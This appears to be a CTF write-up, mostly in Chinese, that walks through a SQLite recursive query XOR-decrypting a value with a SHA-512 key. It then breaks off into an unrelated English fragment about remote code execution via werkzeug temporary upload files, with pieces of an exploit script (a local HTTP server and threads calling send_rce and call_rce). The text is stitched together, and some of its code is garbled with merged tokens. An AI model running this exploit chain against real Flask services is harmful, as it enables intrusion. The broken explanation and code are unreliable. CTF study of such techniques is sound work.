WITH bytes(i, s) AS ( VALUES(1, '') UNIONALL SELECT i +1, ( SELECT ((v|k)-(v&k)) &255FROM ( SELECT (SELECT asciicode from ascii where hexcode = hex(SUBSTR(sha512('hxp{REDACTED}'), i, 1))) as k, (SELECT asciicode from ascii where hexcode = hex(SUBSTR(encrypted, i, 1))) as v FROM mw ) ) AS c FROM bytes WHERE c <>'' limit 64offset1 ) SELECT group_concat(char(s),'') FROM bytes;
WITH bytes(i, s) AS ( 用来生成bytes临时表的查询语句) 调用bytes临时表的查询语句
第二层结构( 用来生成bytes临时表的查询语句)
VALUES(1, ‘’) UNION ALL SELECT i + 1,(用来生成第二列数据的查询语句,这里给这个列取了别名c)AS c FROM bytes WHERE c <> ‘’ limit 64 offset 1
第三层结构
SELECT ((v|k)-(v&k)) & 255 FROM (第四层结构)
第四层结构
SELECT (第五层结构之k列的生成) as k, (第五层结构之v列的生成) as v FROM mw
第五层结构
K列
SELECT asciicode from ascii where hexcode = hex(SUBSTR(sha512(‘hxp{REDACTED}’), i, 1)) V列 SELECT asciicode from ascii where hexcode = hex(SUBSTR(encrypted, i, 1))
调用bytes临时表的查询语句
SELECT group_concat(char(s),’’) FROM bytes
PS : 在这个题里面,所有的表(除了ascii这个表),都只有一行数据
我们先从第一层的With语句整体分析一下 WITH bytes(i, s) AS (用来生成bytes临时表的查询语句) 调用bytes临时表的查询语句 这里先是定义了一个名为bytes临时表,这个临时表一共就两列,一列叫做i,一列叫做s
关于具体的定义语句,咱们这里跟进一下第二层结构 VALUES(1, '') UNION ALL SELECT i + 1,(用来生成第二列数据的查询语句,这里给这个列取了别名c)AS c FROM bytes WHERE c <> '' limit 64 offset 1 VALUES语句给i列和s列分别插入了一条数据,i列插入的是1,s插入的是个空字符。 插入完之后,UNION ALL 之后的语句开始执行,其返回结果会与前面的 VALUES(1,'') 值拼接起来,构成一个新表。咱们看一下后面的语句,可以发现,其第一个表达式是 i + 1,其中的 i 表示从前一个查询中选出来的整数值,+ 1 表示将该整数值加一。因此,第二个查询返回的整数值是从 2 开始递增的。第二个表达式是一个子查询,它返回从 bytes 表中选择所有 c 列不为 '' 的行,按照行号的顺序选择前 64 行并跳过第一行(也就是前面提到的 (1, '') 行)。
第五层结构 > K列:SELECT asciicode from ascii where hexcode = hex(SUBSTR(sha512(‘hxp{REDACTED}’), i, 1)) > V列:SELECT asciicode from ascii where hexcode = hex(SUBSTR(encrypted, i, 1)) //encrypted是mw里面的列 这里用到了ascii这个表,咱们可以看一下这个表的结构
The interface runs on [flask] which runs on [werkzeug]
Just like [last time nginx](hxp-CTF-2021-includers-revenge), werkzeug creates temporary files for file uploads. The file only has to be bigger than [500kB]
defserver(): print('[+] http server started', file=sys.stderr) server = ThreadingSimpleServer(('0.0.0.0', MY_PORT), Handler) # we only need to handle one response server.handle_request() server.shutdown()
if __name__ == "__main__": compile_exploit()
s = Thread(target=server, daemon=True) s.start()
t1 = Thread(target=send_rce, daemon=True) t1.start() for i inrange(7, 8): t2 = Thread(target=call_rce, daemon=True, args=(i,)) t2.start()